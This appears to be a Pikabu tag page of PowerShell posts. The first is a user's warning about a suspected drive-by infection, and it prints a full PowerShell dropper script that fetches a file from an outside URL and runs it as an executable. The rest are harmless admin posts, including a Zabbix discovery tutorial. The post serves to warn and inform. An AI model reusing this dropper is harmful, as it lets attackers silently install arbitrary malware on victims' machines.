Горячее
Лучшее
Свежее
Подписки
Сообщества
Блоги
Эксперты
Войти
Забыли пароль?
или продолжите с
Создать аккаунт
Я хочу получать рассылки с лучшими постами за неделю
или
Восстановление пароля
Восстановление пароля
Получить код в Telegram
Войти с Яндекс ID Войти через VK ID
Создавая аккаунт, я соглашаюсь с правилами Пикабу и даю согласие на обработку персональных данных.
ПромокодыРаботаКурсыРекламаИгрыПополнение Steam
Пикабу Игры +1000 бесплатных онлайн игр
Захватывающая аркада-лабиринт по мотивам культовой игры восьмидесятых. Управляйте желтым человечком, ешьте кексы и постарайтесь не попадаться на глаза призракам.

Пикман

Аркады, На ловкость, 2D

Играть

Топ прошлой недели

  • Rahlkan Rahlkan 1 пост
  • Tannhauser9 Tannhauser9 4 поста
  • alex.carrier alex.carrier 5 постов
Посмотреть весь топ

Лучшие посты недели

Рассылка Пикабу: отправляем самые рейтинговые материалы за 7 дней 🔥

Нажимая кнопку «Подписаться на рассылку», я соглашаюсь с Правилами Пикабу и даю согласие на обработку персональных данных.

Спасибо, что подписались!
Пожалуйста, проверьте почту 😊

Помощь Кодекс Пикабу Команда Пикабу Моб. приложение
Правила соцсети О рекомендациях О компании
Промокоды Биг Гик Промокоды Lamoda Промокоды МВидео Промокоды Яндекс Директ Промокоды Отелло Промокоды Aroma Butik Промокоды Яндекс Путешествия Постила Футбол сегодня
0 просмотренных постов скрыто
7
egor147
egor147
7 лет назад

Новые вирусы через Powershell и Internet Explorer⁠⁠

Новые вирусы через Powershell и Internet Explorer Powershell, Вирус, Уязвимость, Длиннопост

Хочу предупредить о возможно новых вирусах через веб-браузер и интерпретатор Powershell (virustotal не определяет по этому скрипт-файлу наличие вируса). У пользователя компьютера обнаружил 100% загрузку CPU (процессорное время), оказалось выполняется два процесса интерпретатора Powershell, которые выполняли скрипт из директории TEMP под названием rad1B9F1.ps1. Предполагаю что скрипт что-то скачивает и выполняет (дроппер), содержимое скрипт-файла приложено. Пользователь сказала, что сегодня заходила только на "сайт с новостями woman.ru", через IE9 (поставил ей Chrome). Возможно, эксплуатируется какая-нибудь уязвимость браузера совместно с уязвимостью в рекламной сети (Adwords или Директ).

$global:Url = "https://www.karahan.net/news/attachment.php?attachmentid=800..."
$global:Hash = "740ede"
$global:Temp = $env:TEMP
$global:Cache = $FALSE
$global:Binary = $TRUE
function Create-Temp-Folder
{
$IO = [System.IO.Directory]
$Name = ("scp" + (Get-Random -Minimum 9999 -Maximum 99999))
if ($IO::CreateDirectory("$global:Temp\$Name"))
{
(Set-Variable -Name "Temp" -Value "$global:Temp\$Name" -Scope Global)
}
}
function Create-Cache
{
if ($global:Cache -eq $FALSE)
{
$Name = (-join((97..122) | Get-Random -Count 6 | % { [char]$_ }))
if (($Name.length) -eq 6)
{
$Path = "$global:Temp\$Name.tmp"
if (!(Test-Path $Path -PathType Leaf))
{
(New-Item $Path -ItemType "file" | Out-Null)
if (Test-Path $Path -PathType Leaf)
{
(Set-Variable -Name "Cache" -Value $Path -Scope Global)
}
}
}
}
}
function Create-Request
{
param(
[string] $Url = $FALSE,
[string] $Output = $FALSE
)
if ($Url -ne $FALSE)
{
$R = [System.Net.WebRequest]::Create($Url)
$Stream = ($R.GetResponse()).GetResponseStream();
if ($Output -ne $FALSE)
{
$IO = (New-Object IO.FileStream($Output, [IO.FileMode]::Create))
$Buff = (New-Object byte[] 1024)
do
{
$Len = $Stream.Read($Buff, 0, 1024)
$IO.Write($Buff, 0, $Len)
}
while ($Len -ne 0)
$IO.Close()
}
else
{
$Data = (New-Object -TypeName System.IO.StreamReader $Stream).ReadToEnd()
if (($Data.length) -ge 5)
{
return $Data
}
}
$Stream.Close()
}
}
function Create-Window
{
param(
[string] $Path = $FALSE,
[bool] $Binary = $FALSE
)
if ($Path -ne $FALSE)
{
if (Test-Path $Path -PathType Leaf)
{
if ($Binary -eq $TRUE)
{
(Rename-Item -Path $Path -NewName "$Path.exe")
if (Test-Path "$Path.exe" -PathType Leaf)
{
& "$Path.exe"
}
}
else
{
(Rename-Item -Path $Path -NewName "$Path.txt")
if (Test-Path "$Path.txt" -PathType Leaf)
{
& "$Path.txt"
}
}
}
}
}
function Initialize
{
(Create-Temp-Folder)
(Create-Cache)
if ($global:Cache -ne $FALSE)
{
(Create-Request -Url $global:Url -Output $global:Cache)
(Create-Window -Path $global:Cache -Binary $global:Binary)
}
}
function Auth
{
$Path = "$env:TEMP\$global:Hash"
if (!(Test-Path $Path -PathType Leaf))
{
(New-Item $Path -ItemType "file" | Out-Null)
if (Test-Path $Path -PathType Leaf)
{
(Initialize)
}
}
}
(Auth)
Показать полностью
[моё] Powershell Вирус Уязвимость Длиннопост
9
2
armandeatos
7 лет назад

Ужин на скриптах⁠⁠

Искал я тут книги по скриптовому языку Powershell. В любимом книжном магазине товар был в наличии, но при заказе оказалось, что ждать придётся от недели до трёх. Меня это не устроило и я решил поискать по другим площадкам. И вот оно - реклама наконец-то оказалась полезной: появилась ссылка на всем известную площадку Лит**с. Цена приятно удивила и я решил - надо брать! Быстро установил приложение и забил в поиск ключевое слово. Результат мнения просто поразил:

Ужин на скриптах Книги, Powershell

Ну все, теперь я и сыт буду и скрипты научусь писать!

Книги Powershell
4
3380
Wedge
Wedge
8 лет назад

В любой ситуации запускайте PowerShell!⁠⁠

В любой ситуации запускайте PowerShell!
[моё] Powershell Google Яндекс
68
5
Zurko
8 лет назад
Лига Сисадминов

Резервное копирование резервных копий.⁠⁠

Собственно скрипты предназначены для резервного копирования файлов резервных копий sql сервера.

В настоящий момент скрипт функционирует на рабочем сервере чуть больше месяца, проблем пока не было.

Надеюсь поделитесь со мной вашим мнением и способами оптимизации.


Файлы скрипта на GDisk


Файл backup.ps1  скрипт копирования.

Файл check.ps1  скрипт для проверки скопированных файлов.

Файл del_old_backup.ps1  скрипт для удаления устаревших копий.

[моё] Powershell SQL Системное администрирование Текст
27
27
unsent
8 лет назад
Лига Сисадминов

Создание Low-Level Discovery в Zabbix с использованием PowerShell.⁠⁠

Иногда нужно настроить мониторинг каких-либо объектов на серверах, которые могут изменятся, например IIS сайты\пулы, размеры файлов, размеры кластерных дисков, базы данных и прочее. Для получения самих значений можно использовать встроннее метрики, например Performance Monitor в Windows Server, либо же скрипты\запросы, которые их получают.

Трудности доставляют сами изменяющиеся объекты, которые могут добавлятся\убираться, и каждый раз ручками конфигурировать итемы на хостах как-то не хочется. Вот тут нам поможет Low-level discovery (LLD).


К примеру у вас есть сервер, на котором крутятся сайты, которые ваши разработчки с некой переодичностью добавляют\удаляют. Задача мониторить количество коннекций к сайту, количество get/head/post запросов, статус апликейшн пулов (запущен или нет).


Поскольку я Виндовый админ, то будем использовать PowerShell, но по такому же принципу можно написать на любом языке.


И так для создания нового LLD нужен скрипт,а даже 2, которые будет получать список сайтов и список пулов, конвертировать его в JSON формат и предоставлять Заббиксу.


Выглядит готовый JSON так:

{

"data":[

{ "{#SITE}" : "site1" },

{ "{#SITE}" : "site2" },

{ "{#SITE}" : "site3" }

]

}


А потом уже заббикс для каждого из объектов будет получать данные параметров, для сайтов используя запоросы в Performance Monitor, для пулов - скрипт.


Получать список объектов можно любым скриптом, главное что бы заббикс агент его смог запустить.


И так создаём фаил с названием get-sites.ps1

Получаем список сайтов на сервере:

Import-Module WebAdministration

$sites = Get-ChildItem -Path IIS:\Sites -Name


Если вы тестите то для вывода результата введите $sites

Теперь весь список нужно представить в JSON формате, особенностью является то что в конце последнего значения объекта, не должна стоять запятая.

По этому вводим переменную $idx по которой мы будем проверять последний это объект или нет.

$idx = 1


Далее делаем шапку JSON:

write-host "{"

write-host " `"data`":[`n"


Далее будем каждый объект полученный ранее проверят последний он или нет.

Сверку будем проводить путем увеличения переменной $idx на 1, после создания каждого JSON объекта.

Если нет, то создаём JSON объект с запятой, если да, то создаём без запятой.

foreach ($currentsite in $sites) #каждый сайт из списка будет получать переменную $currentsite

{

if ($idx -lt $sites.count) #сравниваем $idx с количеством сайтов. -lt - меньше чем. Если получаем True то создаём строчку с запятой, если нет то двигаемся дальше.

{

$line= "{ `"{#SITE}`" : `"" + $currentsite + "`" }," # создание строчки с запятой

write-host $line

}

elseif ($idx -ge $site.count) # здесь опять сравниваем $idx с количеством с сайтов. -ge - больше или равно чем. Если True то создаём строчку без запятой

{

$line= "{ `"{#SITE}`" : `"" + $currentsite + "`" }" #строчка без запятой

write-host $line

}

$idx++; #В конце каждого прохода увеличиваем $idx на 1.

}

Ну и закрываем JSON.

write-host

write-host " ]"

write-host "}"


Логика проста: Получаем список сайтов, например 3 сайта. Значит нужно 3 прохода для создания 3 строчек для JSON.

Первый проход первый сайт. $idx=1. 1<3? Да. Создаём с запятой. Увеличиваем $idx на 1.

Второй проход второй сайт. $idx=2 . 2<3? Да. Создаём с запятой. Увеличиваем $idx на 1.

Третий проход третий сайт. $idx=3. 3<3? Нет. Идем дальше. 3>=3? Да. Создаём без запятой.


Таким же образом создаём скрипт get-apppool.ps1 для получения списка пулов:

Import-Module WebAdministration

$apppool = Get-ChildItem -Path IIS:\Apppools -Name

$idx = 1

write-host "{"

write-host " `"data`":[`n"

foreach ($currentapppool in $apppool)

{

if ($idx -lt $apppool.count)

{

$line= "{ `"{#APPPOOL}`" : `"" + $currentapppool + "`" },"

write-host $line

}

elseif ($idx -ge $apppool.count)

{

$line= "{ `"{#APPPOOL}`" : `"" + $currentapppool + "`" }"

write-host $line

}

$idx++;

}

write-host

write-host " ]"

write-host "}"


Далее оба скрипта кладем на сервер, например туда где стоит заббикс агент и в конфиг агента добавляем 2 юзер параметра:

UserParameter=apppool.discovery,powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Program Files\Zabbix_agent\scripts\get-apppool.ps1"

UserParameter=site.discovery,powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Program Files\Zabbix_agent\scripts\get_sites.ps1"


(Если честно, то не помню, нужно ли включать ActiveChecks и EnableRemoteCommands в конфиге. У меня везде включено.)


apppool.discovery и site.discovery - будут использиваться как ключи при создании LLD для запуска соответсвующих скриптов.


Далее в Заббиксе нашего сервера создаём новый дискавери:

Name: IIS Site #Название дискавери

Type: Zabbix agent #то чем будем делать дискавери

Key: site.discovery #ключ для вызова скрипта с получем списка сайтов. Мы его указали в UserParameter в конфиге агента на сервере

Host interface: айпишка и порт агент на сервере

Update interval (in sec): 3600 #как часто будем вызывать скрипт и получать список сайтов

Keep lost resources period (in days):3 #через сколько удалять сайтов, которых больше нет.


В фильтрах можно указать какие сайты исключить из списка.

Label Macro {#SITE} Regular expression @IIS

Сам список IIS создаётся в Administration > general > Regular Expresssions.

Например можно исключить Default Web Site для этого создаём список IIS и добавляем Expression type: Result is False; Expression: Default Web Site


Далее создаём прототипы айтемов в дискавери. Они практически ничем не будут отличаться от создания обычных айтемов. Только для объявления сайта используем {#SITE}


Например количество коннекций к IIS сайту. Данные получаем с Performance monitor:

Name: {#SITE}: Current connections

Type: Zabbix agent

Key: perf_counter[\Web Service({#SITE})\Current Connections]

Type of information: Numeric (unsigned)


Прежде чем создавать дискавеи для пулов, нужно создать скрипт, который будет получать статус пула.


Создаём PowerShell скрипт get-apppoolstate.ps1

param ([string] $name = 0)

Import-Module WebAdministration

$apppoolState = Get-WebAppPoolState -name "$name"

Write-Output ($apppoolState.value)


Сохраняем и кладем к агенту, туда куда и прошлые скрипты. Добавляем UserParameter в конфиг:


UserParameter=apppool.state[*],powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Program Files\Zabbix_agent\scripts\get_apppoolstate.ps1" "$1"


apppool.state - ключ для вызова скрипта.

[*] - параметр который мы будем передавать вместе с ключем, в нашем случае имя пула

$1 означает что мы будем передавать имя пула в скрипт, внутри скрипта имя пула пойдет в параметр $name


Теперь создаём дискавери для мониторинга апликейшн пулов создаём новый дискавери.

Name: IIS AppPool

Type: Zabbix agent

Key: apppool.discovery

Остальное как для сайта.


Создаём прототип айтема:

Name:IIS AppPool {#APPPOOL} state

Type:Zabbix agent

Key:apppool.state[{#APPPOOL}]

Type of information: Text


Ну и все, дальше можно настроить триггеры для обоих дискавери.

Например что пул не запущен:

Name: IIS AppPool {#APPPOOL} is down

Severity: Disaster

Expression: {MyWebServer:apppool.state[{#APPPOOL}].str(Stopped)}<>0

Показать полностью
[моё] Windows server Powershell Zabbix Системное администрирование Скрипт Мониторинг Длиннопост Текст
15
50
corvuscor
8 лет назад
GNU/Linux

Майкрософт открывает исходники PowerShell...⁠⁠

и уже приготовила альфа-версию для Linux, сообщает фороникс.

Майкрософт открывает исходники PowerShell... Windows, IT, Linux, Powershell
Windows IT Linux Powershell
55
1
Jamert
Jamert
11 лет назад

Игровой контроллер для iPhone⁠⁠

iPhone Powershell Видео
4
Посты не найдены
О нас
О Пикабу Контакты Реклама Сообщить об ошибке Сообщить о нарушении законодательства Отзывы и предложения Новости Пикабу Мобильное приложение RSS
Информация
Помощь Кодекс Пикабу Команда Пикабу Конфиденциальность Правила соцсети О рекомендациях О компании
Наши проекты
Блоги Работа Промокоды Игры Курсы
Партнёры
Промокоды Биг Гик Промокоды Lamoda Промокоды Мвидео Промокоды Яндекс Директ Промокоды Отелло Промокоды Aroma Butik Промокоды Яндекс Путешествия Постила Футбол сегодня
На информационном ресурсе Pikabu.ru применяются рекомендательные технологии